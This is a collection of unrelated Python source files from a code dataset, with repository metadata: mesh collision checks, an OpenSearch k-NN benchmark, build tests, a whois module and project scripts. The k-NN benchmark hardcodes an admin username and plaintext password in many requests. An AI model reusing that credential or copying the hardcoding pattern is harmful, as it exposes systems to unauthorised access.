Datasets:

ytzi

/

the-stack-dedup-python-scored-filtered

like 0

16e8783047883ecc17068c1f63c87b161a271a5f

py

Python

vtkplotter_examples/other/dolfin/collisions.py

ismarou/vtkplotter-examples

1eefcc026be169ab7a77a5bce6dec8044c33b554

2020-07-30T02:38:29.000Z

2021-09-12T14:30:18.000Z

vtkplotter_examples/other/dolfin/collisions.py

ismarou/vtkplotter-examples

1eefcc026be169ab7a77a5bce6dec8044c33b554

vtkplotter_examples/other/dolfin/collisions.py

ismarou/vtkplotter-examples

1eefcc026be169ab7a77a5bce6dec8044c33b554

''' compute_collision() will compute the collision of all the entities with a Point while compute_first_collision() will always return its first entry. Especially if a point is on an element edge this can be tricky. You may also want to compare with the Cell.contains(Point) tool. ''' # Script by Rudy at https://fenicsproject.discourse.group/t/ # any-function-to-determine-if-the-point-is-in-the-mesh/275/3 import dolfin from vtkplotter.dolfin import shapes, plot, printc n = 4 Px = 0.5 Py = 0.5 mesh = dolfin.UnitSquareMesh(n, n) bbt = mesh.bounding_box_tree() collisions = bbt.compute_collisions(dolfin.Point(Px, Py)) collisions1st = bbt.compute_first_entity_collision(dolfin.Point(Px, Py)) printc("collisions : ", collisions) printc("collisions 1st: ", collisions1st) for cell in dolfin.cells(mesh): contains = cell.contains(dolfin.Point(Px, Py)) printc("Cell", cell.index(), "contains P:", contains, c=contains) ########################################### pt = shapes.Point([Px, Py], c='blue') plot(mesh, pt, text=__doc__)

16e89821c774aa40fe5b74ea387488fc99280078

py

Python

aws-KNN-RESTful.py

cakebytheoceanLuo/k-NN

52c66b5e38490431b3079c2baaad38785802f4e5

2021-11-16T13:22:09.000Z

2021-11-16T13:22:09.000Z

aws-KNN-RESTful.py

cakebytheoceanLuo/k-NN

52c66b5e38490431b3079c2baaad38785802f4e5

aws-KNN-RESTful.py

cakebytheoceanLuo/k-NN

52c66b5e38490431b3079c2baaad38785802f4e5

# https://medium.com/@kumon/how-to-realize-similarity-search-with-elasticsearch-3dd5641b9adb # https://docs.aws.amazon.com/opensearch-service/latest/developerguide/knn.html import sys import requests import h5py import numpy as np import json import aiohttp import asyncio import time import httpx from requests.auth import HTTPBasicAuth from statistics import mean # if len(sys.argv) != 2: # print("Type in the efSearch!") # sys.exit() # path = '/tmp/sift-128-euclidean.hdf5.1M' # float dataset # path = '/tmp/sift-128-euclidean.hdf5' # float dataset path = '/home/ubuntu/sift-128-euclidean.hdf5' # float dataset output_csv = '/tmp/sift-es.csv' # url = 'http://127.0.0.1:9200/sift-index/' host = 'https://vpc-....ap-southeast-1.es.amazonaws.com/' # single node # host = 'https://vpc-....ap-southeast-1.es.amazonaws.com/' # two nodes url = host + 'sift-index/' requestHeaders = {'content-type': 'application/json'} # https://stackoverflow.com/questions/51378099/content-type-header-not-supported auth = HTTPBasicAuth('admin', 'I#vu7bTAHB') # Build an index #https://stackoverflow.com/questions/17301938/making-a-request-to-a-restful-api-using-python # PUT sift-index data = '''{ "settings": { "index": { "knn": true, "knn.space_type": "l2", "knn.algo_param.m": 6, "knn.algo_param.ef_construction": 50, "knn.algo_param.ef_search": 50, "refresh_interval": -1, "translog.flush_threshold_size": "10gb", "number_of_replicas": 0 } }, "mappings": { "properties": { "sift_vector": { "type": "knn_vector", "dimension": 128 } } } }''' # https://medium.com/@kumon/how-to-realize-similarity-search-with-elasticsearch-3dd5641b9adb response = requests.put(url, data=data, headers=requestHeaders, auth=HTTPBasicAuth('admin', 'I#vu7bTAHB')) # response = requests.put(url, data=data, verify=False, headers=requestHeaders, auth=auth) assert response.status_code==requests.codes.ok # cluster_url = 'http://127.0.0.1:9200/_cluster/settings' cluster_url = host + '_cluster/settings' cluster_data = '''{ "persistent" : { "knn.algo_param.index_thread_qty": 16 } } ''' response = requests.put(cluster_url, data=cluster_data, auth=HTTPBasicAuth('admin', 'I#vu7bTAHB'), headers=requestHeaders) assert response.status_code==requests.codes.ok # Bulkload into index bulk_template = '{ "index": { "_index": "sift-index", "_id": "%s" } }\n{ "sift_vector": [%s] }\n' hf = h5py.File(path, 'r') for key in hf.keys(): print("A key of hf is %s" % key) #Names of the groups in HDF5 file. vectors = np.array(hf["train"][:]) num_vectors, dim = vectors.shape print("num_vectors: %d" % num_vectors) print("dim: %d" % dim) bulk_data = "" start = time.time() for (id,vector) in enumerate(vectors): assert len(vector)==dim vector_str = "" for num in vector: vector_str += str(num) + ',' vector_str = vector_str[:-1] id_str = str(id) single_bulk_done = bulk_template % (id_str, vector_str) bulk_data += single_bulk_done if (id+1) % 100000 == 0: print(str(id+1)) # POST _bulk response = requests.put(url + '_bulk', data=bulk_data, auth=HTTPBasicAuth('admin', 'I#vu7bTAHB'), headers=requestHeaders) assert response.status_code==requests.codes.ok bulk_data = "" end = time.time() print("Insert Time: %d mins" % ((end - start) / 60.0)) # Unit: min # refresh_url = 'http://127.0.0.1:9200/sift-index/_settings' refresh_url = host + 'sift-index/_settings' refresh_data = '''{ "index" : { "refresh_interval": "1s" } } ''' response = requests.put(refresh_url, data=refresh_data, headers=requestHeaders, auth=HTTPBasicAuth('admin', 'I#vu7bTAHB')) assert response.status_code==requests.codes.ok # response = requests.post('http://127.0.0.1:9200/sift-index/_refresh', verify=False, headers=requestHeaders) # assert response.status_code==requests.codes.ok # merge_url = 'http://127.0.0.1:9200/sift-index/_forcemerge?max_num_segments=1' merge_url = host + 'sift-index/_forcemerge?max_num_segments=1' merge_response = requests.post(merge_url, headers=requestHeaders, auth=HTTPBasicAuth('admin', 'I#vu7bTAHB'), timeout=600) assert merge_response.status_code==requests.codes.ok # warmup_url = 'http://127.0.0.1:9200/_opendistro/_knn/warmup/sift-index' warmup_url = host + '_opendistro/_knn/warmup/sift-index' warmup_response = requests.get(warmup_url, headers=requestHeaders, auth=HTTPBasicAuth('admin', 'I#vu7bTAHB')) assert warmup_response.status_code==requests.codes.ok # Send queries total_time = 0 # in ms hits = 0 # for recall calculation query_template = ''' { "size": 50, "query": {"knn": {"sift_vector": {"vector": [%s],"k": 50}}} } ''' queries = np.array(hf["test"][:]) nq = len(queries) neighbors = np.array(hf["neighbors"][:]) # distances = np.array(hf["distances"][:]) num_queries, q_dim = queries.shape print("num_queries: %d" % num_queries) print("q_dim: %d" % q_dim) assert q_dim==dim ef_search_list = [50, 100, 150, 200, 250, 300] for ef_search in ef_search_list: ef_data = '''{ "index": { "knn.algo_param.ef_search": %d } }''' ef_data = ef_data % ef_search ### Update Index Setting: efSearch response = requests.put(url + '_settings', data=ef_data, headers=requestHeaders, auth=HTTPBasicAuth('admin', 'I#vu7bTAHB')) assert response.status_code==requests.codes.ok total_time_list = [] hits_list = [] for count in range(5): total_time = 0 # in ms hits = 0 # for recall calculation query_template = ''' ''' single_query = '''{}\n{"size": 50, "query": {"knn": {"sift_vector": {"vector": [%s],"k": 50}}}}\n''' for (id,query) in enumerate(queries): assert len(query)==dim query_str = "" for num in query: query_str += str(num) + ',' query_str = query_str[:-1] # GET sift-index/_search single_query_done = single_query % (query_str) query_template += single_query_done query_data = query_template # print(query_data) response = requests.get(url + '_msearch', data=query_data, headers=requestHeaders, auth=HTTPBasicAuth('admin', 'I#vu7bTAHB'), stream=True) assert response.status_code==requests.codes.ok # print(response.text) result = json.loads(response.text) # QPS total_time = result['took'] # tooks = [] # for i in range(len(queries)): # for ele in result['responses']: # tooks.append(int(ele['took'])) for id in range(len(queries)): # Recall neighbor_id_from_result = [] for ele in result['responses'][id]['hits']['hits']: neighbor_id_from_result.append(int(ele['_id'])) assert len(neighbor_id_from_result)==50 # print("neighbor_id_from_result: ") # print(neighbor_id_from_result) neighbor_id_gt = neighbors[id][0:50] # topK=50 # print("neighbor_id_gt") # print(neighbor_id_gt) hits_q = len(list(set(neighbor_id_from_result) & set(neighbor_id_gt))) # print("# hits of this query with topk=50: %d" % hits_q) hits += hits_q total_time_list.append(total_time) hits_list.append(hits) print(total_time_list) total_time_avg = mean(total_time_list[2:-1]) hits_avg = mean(hits_list) QPS = 1.0 * nq / (total_time_avg / 1000.0) recall = 1.0 * hits_avg / (nq * 50) print(ef_search, QPS, recall)

16ea2d8be166b5650aea4af33dbde9040a41f768

py

Python

test/test_docker_images.py

bauerj/cibuildwheel

b4addbf4a94daa76769d4f779e169406b0ef99ae

test/test_docker_images.py

bauerj/cibuildwheel

b4addbf4a94daa76769d4f779e169406b0ef99ae

test/test_docker_images.py

bauerj/cibuildwheel

b4addbf4a94daa76769d4f779e169406b0ef99ae

import platform import textwrap import pytest from . import test_projects, utils dockcross_only_project = test_projects.new_c_project( setup_py_add=textwrap.dedent(r''' import os, sys # check that we're running in the correct docker image as specified in the # environment options CIBW_MANYLINUX1_*_IMAGE if "linux" in sys.platform and not os.path.exists("/dockcross"): raise Exception( "/dockcross directory not found. Is this test running in the correct docker image?" ) ''') ) def test(tmp_path): if utils.platform != 'linux': pytest.skip('the test is only relevant to the linux build') if platform.machine() not in ['x86_64', 'i686']: pytest.skip('this test is currently only possible on x86_64/i686 due to availability of alternative images') project_dir = tmp_path / 'project' dockcross_only_project.generate(project_dir) actual_wheels = utils.cibuildwheel_run(project_dir, add_env={ 'CIBW_MANYLINUX_X86_64_IMAGE': 'dockcross/manylinux2010-x64', 'CIBW_MANYLINUX_I686_IMAGE': 'dockcross/manylinux2010-x86', 'CIBW_SKIP': 'pp* cp39-*', }) # also check that we got the right wheels built expected_wheels = [w for w in utils.expected_wheels('spam', '0.1.0') if '-pp' not in w and '-cp39-' not in w] assert set(actual_wheels) == set(expected_wheels)

bc447d214c0f2c389991fd5918f6f13fed4aaf6b

py

Python

line_counter/TestCodes/python_test.py

FMoller/coding-auxiliary-tools

21784f01731404f33059f3a8c4e73a104709ffe9

line_counter/TestCodes/python_test.py

FMoller/coding-auxiliary-tools

21784f01731404f33059f3a8c4e73a104709ffe9

line_counter/TestCodes/python_test.py

FMoller/coding-auxiliary-tools

21784f01731404f33059f3a8c4e73a104709ffe9

"""A simple file to test the line_counter performance in python This is a multiline doctest """ __author__ = "Frederico Moeller" __copyright__ = "" __credits__ = ["Frederico Moeller"] __license__ = "MIT" __version__ = "1.0.1" __maintainer__ = "Frederico Moeller" __email__ = "" __status__ = "" #import things import math #define things def some_function(var_one, var_two, var_three): """This is a function that do things""" if var_one > var_two: if var_two*var_three > var_one: return "blab" #this happens else: return "blob" else: return "fish"

bc44f25c8ff96beccbbd3fbaa05ae2dcf6790cc6

py

Python

fopp/Chapter 12. Functions/get_num_digits.py

H2u-Hwng/EVC

c650fe7356a333011514cf9025dfd97bf71b1de3

fopp/Chapter 12. Functions/get_num_digits.py

H2u-Hwng/EVC

c650fe7356a333011514cf9025dfd97bf71b1de3

fopp/Chapter 12. Functions/get_num_digits.py

H2u-Hwng/EVC

c650fe7356a333011514cf9025dfd97bf71b1de3

# Take number, and convert integer to string # Calculate and return number of digits def get_num_digits(num): # Convert int to str num_str = str(num) # Calculate number of digits digits = len(num_str) return digits # Define main function def main(): # Prompt user for an integer number = int(input('Enter an integer: ')) # Obtain number of digits num_digits = get_num_digits(number) # Display result print(f'The number of digits in number {number} is {num_digits}.') # Call main function main()

bc450f5f688b95fda7b269a4ca568c7ecc5143ca

py

Python

whois/__init__.py

mzpqnxow/whois-1

b5623ed25cfa58d9457d30dae640e69b9e530b23

whois/__init__.py

mzpqnxow/whois-1

b5623ed25cfa58d9457d30dae640e69b9e530b23

whois/__init__.py

mzpqnxow/whois-1

b5623ed25cfa58d9457d30dae640e69b9e530b23

# -*- coding: utf-8 -*- from __future__ import print_function from __future__ import absolute_import from __future__ import unicode_literals from __future__ import division from future import standard_library standard_library.install_aliases() from builtins import * import re import sys import os import subprocess import socket from .parser import WhoisEntry from .whois import NICClient # thanks to https://www.regextester.com/104038 IPV4_OR_V6 = re.compile(r"((^\s*((([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]))\s*$)|(^\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*$))") def whois(url, command=False, flags=0): # clean domain to expose netloc ip_match = IPV4_OR_V6.match(url) if ip_match: domain = url try: result = socket.gethostbyaddr(url) except socket.herror as e: pass else: domain = extract_domain(result[0]) else: domain = extract_domain(url) if command: # try native whois command r = subprocess.Popen(['whois', domain], stdout=subprocess.PIPE) text = r.stdout.read().decode() else: # try builtin client nic_client = NICClient() text = nic_client.whois_lookup(None, domain.encode('idna'), flags) return WhoisEntry.load(domain, text) suffixes = None def extract_domain(url): """Extract the domain from the given URL >>> print(extract_domain('http://www.google.com.au/tos.html')) google.com.au >>> print(extract_domain('abc.def.com')) def.com >>> print(extract_domain(u'www.公司.hk')) 公司.hk >>> print(extract_domain('chambagri.fr')) chambagri.fr >>> print(extract_domain('www.webscraping.com')) webscraping.com >>> print(extract_domain('198.252.206.140')) stackoverflow.com >>> print(extract_domain('102.112.2O7.net')) 2o7.net >>> print(extract_domain('globoesporte.globo.com')) globo.com >>> print(extract_domain('1-0-1-1-1-0-1-1-1-1-1-1-1-.0-0-0-0-0-0-0-0-0-0-0-0-0-10-0-0-0-0-0-0-0-0-0-0-0-0-0.info')) 0-0-0-0-0-0-0-0-0-0-0-0-0-10-0-0-0-0-0-0-0-0-0-0-0-0-0.info >>> print(extract_domain('2607:f8b0:4006:802::200e')) 1e100.net >>> print(extract_domain('172.217.3.110')) 1e100.net """ if IPV4_OR_V6.match(url): # this is an IP address return socket.gethostbyaddr(url)[0] # load known TLD suffixes global suffixes if not suffixes: # downloaded from https://publicsuffix.org/list/public_suffix_list.dat tlds_path = os.path.join(os.getcwd(), os.path.dirname(__file__), 'data', 'public_suffix_list.dat') with open(tlds_path, encoding='utf-8') as tlds_fp: suffixes = set(line.encode('utf-8') for line in tlds_fp.read().splitlines() if line and not line.startswith('//')) if not isinstance(url, str): url = url.decode('utf-8') url = re.sub('^.*://', '', url) url = url.split('/')[0].lower() # find the longest suffix match domain = b'' split_url = url.split('.') for section in reversed(split_url): if domain: domain = b'.' + domain domain = section.encode('utf-8') + domain if domain not in suffixes: if not b'.' in domain and len(split_url) >= 2: # If this is the first section and there wasn't a match, try to # match the first two sections - if that works, keep going # See https://github.com/richardpenman/whois/issues/50 second_order_tld = '.'.join([split_url[-2], split_url[-1]]) if not second_order_tld.encode('utf-8') in suffixes: break else: break return domain.decode('utf-8') if __name__ == '__main__': try: url = sys.argv[1] except IndexError: print('Usage: %s url' % sys.argv[0]) else: print(whois(url))

bc4f5018d00b3586d20735c150c38e4b306f48f3

py

Python

models/minimize_model.py

MichalBusta/OpenCitiesAIC

2358118a782edde27a588d6adaf79941cbd90de6

2020-03-23T21:43:32.000Z

2021-03-30T09:11:45.000Z

models/minimize_model.py

MichalBusta/OpenCitiesAIC

2358118a782edde27a588d6adaf79941cbd90de6

2020-05-09T01:13:24.000Z

2022-01-13T02:24:14.000Z

models/minimize_model.py

MichalBusta/OpenCitiesAIC

2358118a782edde27a588d6adaf79941cbd90de6

2020-04-17T15:06:36.000Z

2021-03-30T09:11:47.000Z

''' Created on Mar 22, 2020 @author: Michal.Busta at gmail.com ''' #get rid of the optimizer state ... import torch MODEL_PATH = '/models/model-b2-2.pth' state = torch.load(MODEL_PATH, map_location=lambda storage, loc: storage) state_out = { "state_dict": state["state_dict"], } torch.save(state_out, 'model-b2-2.pth')

bc4fb0ed6bbdc4f3f5e43225548f14915b084779

py

Python

setup.py

thomas-kloeber/braumeister

1045df0ad95eb6a4b9b16bb91ece64b09ff1b1f7

2018-02-09T15:03:12.000Z

2021-02-18T07:21:34.000Z

setup.py

thomas-kloeber/braumeister

1045df0ad95eb6a4b9b16bb91ece64b09ff1b1f7

2018-03-20T09:28:32.000Z

2022-01-27T08:48:41.000Z

setup.py

thomas-kloeber/braumeister

1045df0ad95eb6a4b9b16bb91ece64b09ff1b1f7

2018-02-09T15:06:11.000Z

2020-03-02T10:23:10.000Z

import os import re from setuptools import setup version = re.search( '^__version__\s*=\s*"(.*)"', open('braumeister/braumeister.py').read(), re.M ).group(1) def read(fname): return open(os.path.join(os.path.dirname(__file__), fname)).read() setup( name="braumeister", packages=["braumeister", "braumeister.actions"], version=version, author="Marcel Steffen", author_email="marcel@talentsconnect.com", description="Easy release bulding, combining JIRA and git", long_description=read('README.md'), license="MIT", keywords="git jira release", url="https://www.talentsconnect.com", include_package_data=True, install_requires=['requests', 'colorama'], entry_points={ 'console_scripts': ["braumeister = braumeister.braumeister:main"] }, python_requires='!=2.7, !=3.4, >=3.5', zip_safe=False, classifiers=[ "Development Status :: 4 - Beta", "Environment :: Console", "Intended Audience :: Developers", "Topic :: Utilities", "Topic :: Software Development :: Version Control :: Git" ], )

bc5478846dead2384e17349d8f75968c543992de

py

Python

pkg/maths/maths.py

prateekdegaons1991/experiment-loadtest

b53c70fac5b2f7d37df77844b26f79741c74c1b6

2020-04-17T06:34:30.000Z

2021-12-18T10:54:50.000Z

pkg/maths/maths.py

oumkale/test-python

1f3d3e42ffbe1bf5ed9df8a0c6038e50129b2c4d

2020-04-18T06:01:53.000Z

2022-02-15T08:56:25.000Z

pkg/maths/maths.py

oumkale/test-python

1f3d3e42ffbe1bf5ed9df8a0c6038e50129b2c4d

2020-04-17T05:14:27.000Z

2022-03-29T19:24:20.000Z

#Atoi stands for ASCII to Integer Conversion def atoi(string): res = 0 # Iterate through all characters of # input and update result for i in range(len(string)): res = res * 10 + (ord(string[i]) - ord('0')) return res #Adjustment contains rule of three for calculating an integer given another integer representing a percentage def Adjustment(a, b): return (a * b) / 100

bc6de8ef28a6c9ca4fc7727dee2d21bb765f85a1

py

Python

scripts/json_parse.py

andrewsimonds14/Capstone

5ae56b9be40846e9993a8f23aaa8e1ef92cd9ea3

scripts/json_parse.py

andrewsimonds14/Capstone

5ae56b9be40846e9993a8f23aaa8e1ef92cd9ea3

scripts/json_parse.py

andrewsimonds14/Capstone

5ae56b9be40846e9993a8f23aaa8e1ef92cd9ea3

import json import os import nibabel as nib import csv from operator import itemgetter # PATH TO PREPROCESSED DATA raw_data_path = '/home/lab/nnUNet_data/nnUNet_raw_data_base/nnUNet_raw_data/Task500_BrainMets' pixdim_ind = [1,2,3] # Indexes at which the voxel size [x,y,z] is stored # PATH TO JSON FILE with open('/home/lab/nnUNet_data/RESULTS_FOLDER/nnUNet/3d_fullres/Task500_BrainMets/nnUNetTrainerV2__nnUNetPlansv2.1/fold_4/validation_raw/summary.json') as file: data = json.load(file) with open('json_parsed.csv', mode='w') as csv_file: csv_writer = csv.writer(csv_file, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL) csv_writer.writerow(['Case Number', 'Dice Score', 'Voxel Size-X', 'Voxel Size-Y', 'Voxel Size-Z']) for img in data['results']['all']: # Get dice score on image dice = img['1']['Dice'] # Get nifti data on image img_filename = (os.path.basename(img['reference']).split('.'))[0] img_ni = nib.load(raw_data_path + '/imagesTr/' + img_filename + '_0000.nii.gz') label_ni = nib.load(raw_data_path + '/labelsTr/' + img_filename + '.nii.gz') voxel_size = itemgetter(*pixdim_ind)(img_ni.header["pixdim"]) # Get tumor dimensions # tumor_size = # Get case number corresponding to image case_number = img_filename.split('_')[1] # Write to csv file csv_writer = csv.writer(csv_file, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL) csv_writer.writerow([case_number, dice, voxel_size[0], voxel_size[1], voxel_size[2]])

bc7b31007719919e0de3183e896e2da210eb63a7

py

Python

manage.py

isijara/zulip

403f4dafcc71369f3b1143b9f7073cd5d76bf357

2019-04-14T20:31:55.000Z

2019-04-14T20:31:55.000Z

manage.py

hcxiong/zulip

bf22eefedebd50b25f32b22988217c13a89b65d1

2020-09-06T14:54:30.000Z

2022-02-10T18:51:14.000Z

manage.py

hcxiong/zulip

bf22eefedebd50b25f32b22988217c13a89b65d1

2019-11-04T18:59:29.000Z

2022-03-22T17:46:37.000Z

#!/usr/bin/env python3 import os import sys BASE_DIR = os.path.dirname(os.path.abspath(__file__)) sys.path.append(BASE_DIR) import scripts.lib.setup_path_on_import if __name__ == "__main__": if 'posix' in os.name and os.geteuid() == 0: print("manage.py should not be run as root. Use `su zulip` to drop root.") sys.exit(1) if (os.access('/etc/zulip/zulip.conf', os.R_OK) and not os.access('/etc/zulip/zulip-secrets.conf', os.R_OK)): # The best way to detect running manage.py as another user in # production before importing anything that would require that # access is to check for access to /etc/zulip/zulip.conf (in # which case it's a production server, not a dev environment) # and lack of access for /etc/zulip/zulip-secrets.conf (which # should be only readable by root and zulip) print("Error accessing Zulip secrets; manage.py in production must be run as the zulip user.") sys.exit(1) os.environ.setdefault("DJANGO_SETTINGS_MODULE", "zproject.settings") from django.conf import settings from django.core.management import execute_from_command_line from django.core.management.base import CommandError from scripts.lib.zulip_tools import log_management_command log_management_command(" ".join(sys.argv), settings.MANAGEMENT_LOG_PATH) os.environ.setdefault("PYTHONSTARTUP", os.path.join(BASE_DIR, "scripts/lib/pythonrc.py")) if "--no-traceback" not in sys.argv and len(sys.argv) > 1: sys.argv.append("--traceback") try: execute_from_command_line(sys.argv) except CommandError as e: print(e, file=sys.stderr) sys.exit(1)

bc8efe8d75934b61443e05664bf142fdc9790c04

py

Python

run_tests.py

silx-kit/silx

360f890a617676a92f0bed6a28b718d09e70ec03

2016-03-04T17:25:53.000Z

2022-03-18T18:05:23.000Z

run_tests.py

silx-kit/silx

360f890a617676a92f0bed6a28b718d09e70ec03

2016-01-21T09:06:49.000Z

2022-03-18T14:53:56.000Z

run_tests.py

silx-kit/silx

360f890a617676a92f0bed6a28b718d09e70ec03

2015-09-30T08:35:35.000Z

2022-03-16T07:16:28.000Z

#!/usr/bin/env python3 # coding: utf8 # /*########################################################################## # # Copyright (c) 2015-2021 European Synchrotron Radiation Facility # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # # ###########################################################################*/ """Run the tests of the project. This script expects a suite function in <project_package>.test, which returns a unittest.TestSuite. Test coverage dependencies: coverage, lxml. """ __authors__ = ["Jérôme Kieffer", "Thomas Vincent"] __date__ = "30/09/2020" __license__ = "MIT" import distutils.util import logging import os import subprocess import sys import importlib # Capture all default warnings logging.captureWarnings(True) import warnings warnings.simplefilter('default') logger = logging.getLogger("run_tests") logger.setLevel(logging.WARNING) logger.info("Python %s %s", sys.version, tuple.__itemsize__ * 8) try: import numpy except Exception as error: logger.warning("Numpy missing: %s", error) else: logger.info("Numpy %s", numpy.version.version) try: import h5py except Exception as error: logger.warning("h5py missing: %s", error) else: logger.info("h5py %s", h5py.version.version) def get_project_name(root_dir): """Retrieve project name by running python setup.py --name in root_dir. :param str root_dir: Directory where to run the command. :return: The name of the project stored in root_dir """ logger.debug("Getting project name in %s", root_dir) p = subprocess.Popen([sys.executable, "setup.py", "--name"], shell=False, cwd=root_dir, stdout=subprocess.PIPE) name, _stderr_data = p.communicate() logger.debug("subprocess ended with rc= %s", p.returncode) return name.split()[-1].decode('ascii') def is_debug_python(): """Returns true if the Python interpreter is in debug mode.""" try: import sysconfig except ImportError: # pragma nocover # Python < 2.7 import distutils.sysconfig as sysconfig if sysconfig.get_config_var("Py_DEBUG"): return True return hasattr(sys, "gettotalrefcount") def build_project(name, root_dir): """Run python setup.py build for the project. Build directory can be modified by environment variables. :param str name: Name of the project. :param str root_dir: Root directory of the project :return: The path to the directory were build was performed """ platform = distutils.util.get_platform() architecture = "lib.%s-%i.%i" % (platform, sys.version_info[0], sys.version_info[1]) if is_debug_python(): architecture += "-pydebug" if os.environ.get("PYBUILD_NAME") == name: # we are in the debian packaging way home = os.environ.get("PYTHONPATH", "").split(os.pathsep)[-1] elif os.environ.get("BUILDPYTHONPATH"): home = os.path.abspath(os.environ.get("BUILDPYTHONPATH", "")) else: home = os.path.join(root_dir, "build", architecture) logger.warning("Building %s to %s", name, home) p = subprocess.Popen([sys.executable, "setup.py", "build"], shell=False, cwd=root_dir) logger.debug("subprocess ended with rc= %s", p.wait()) if os.path.isdir(home): return home alt_home = os.path.join(os.path.dirname(home), "lib") if os.path.isdir(alt_home): return alt_home def import_project_module(project_name, project_dir): """Import project module, from the system of from the project directory""" if "--installed" in sys.argv: try: module = importlib.import_module(project_name) except Exception: logger.error("Cannot run tests on installed version: %s not installed or raising error.", project_name) raise else: # Use built source build_dir = build_project(project_name, project_dir) if build_dir is None: logging.error("Built project is not available !!! investigate") sys.path.insert(0, build_dir) logger.warning("Patched sys.path, added: '%s'", build_dir) module = importlib.import_module(project_name) return module if __name__ == "__main__": # Needed for multiprocessing support on Windows import pytest PROJECT_DIR = os.path.dirname(os.path.abspath(__file__)) PROJECT_NAME = get_project_name(PROJECT_DIR) logger.info("Project name: %s", PROJECT_NAME) project_module = import_project_module(PROJECT_NAME, PROJECT_DIR) PROJECT_VERSION = getattr(project_module, 'version', '') PROJECT_PATH = project_module.__path__[0] def normalize_option(option): option_parts = option.split(os.path.sep) if option_parts == ["src", "silx"]: return PROJECT_PATH if option_parts[:2] == ["src", "silx"]: return os.path.join(PROJECT_PATH, *option_parts[2:]) return option args = [normalize_option(p) for p in sys.argv[1:] if p != "--installed"] # Run test on PROJECT_PATH if nothing is specified without_options = [a for a in args if not a.startswith("-")] if len(without_options) == 0: args += [PROJECT_PATH] argv = ["--rootdir", PROJECT_PATH] + args sys.exit(pytest.main(argv))

bc92d9002e07294919b14cfdd4a1703514d8c845

py

Python

server/api/src/db/migrate/versions/v_2.py

mminamina/311-data

9a3e4dc6e14c7500fc3f75f583c7fc4b01108b29

server/api/src/db/migrate/versions/v_2.py

mminamina/311-data

9a3e4dc6e14c7500fc3f75f583c7fc4b01108b29

server/api/src/db/migrate/versions/v_2.py

mminamina/311-data

9a3e4dc6e14c7500fc3f75f583c7fc4b01108b29

def migrate(): print('migrating to version 2')

bc93ed322f15833ada38ade26d0df82b04900ca0

py

Python

bench_cupy.py

zhouxzh/Jetson_nano_stft_benchmark

ffa97984f95b9862ac2a10b8459bb7ef241c6c72

bench_cupy.py

zhouxzh/Jetson_nano_stft_benchmark

ffa97984f95b9862ac2a10b8459bb7ef241c6c72

bench_cupy.py

zhouxzh/Jetson_nano_stft_benchmark

ffa97984f95b9862ac2a10b8459bb7ef241c6c72

